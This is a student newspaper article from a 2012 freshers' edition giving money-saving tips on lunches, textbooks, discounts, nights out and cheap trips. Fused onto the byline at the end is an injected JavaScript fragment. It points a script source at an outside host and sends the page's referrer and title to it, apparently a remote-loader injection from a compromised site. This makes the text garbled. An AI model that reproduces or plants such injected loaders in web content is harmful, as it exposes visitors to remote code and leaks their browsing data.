We’ve all been there. ‘That’s £x please!’ You rummage through every nook and cranny to find the right money but it’s just not there. So now you need to tell the cashier your predicament and make a tough decision of what to put back, all the while avoiding eye contact. To try and prevent mishaps like this, here are some basic money-saving tips:
One. Make packed lunches! – As tempting as it is to go buy something hot, quick and easy to eat, this turns into a surprisingly expensive habit. Think about it: buying a £3 meal-deal five days a week turns into £15 a week on just lunch! This is money that can be much better spent!
Two. Buy textbooks second-hand – Textbooks are insanely expensive: £45 for a book you are going to use maybe once or twice for referencing!? Look on Amazon for cheaper books. Or, if you know an older student on your course, ask them if you can buy their old books for a cheaper rate; they’ll be only too happy to get rid of them.
Three. Milk the student card for all its worth – Ask EVERYWHERE if they do student discounts. Just because they don’t advertise it in the shop doesn’t mean they don’t do it!
Four. Do nights out on a budget – When having a night out on a budget, be sure to find places that advertise £1 drinks/free entry. Girls: swap clothes with friends instead of buying new ones. This saves so much money and hassle because you already know how they look on. For those skint weekends: why not just have a movie-night in with friends? The Friday night slob is so under-rated!
Five. For getting away, use websites like ‘Student Beans’, ‘Groupon’ and last minute hotel sites – These websites are amazing. In April, I went with some friends down to Alton Towers for around £45. We got the park tickets for about £25 and a hotel room in Stoke for £20. Rained the full time we were there …but it was still a good weekend!
By Carey-Louise Howie
(Published: Freshers Edition, September 2012)s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
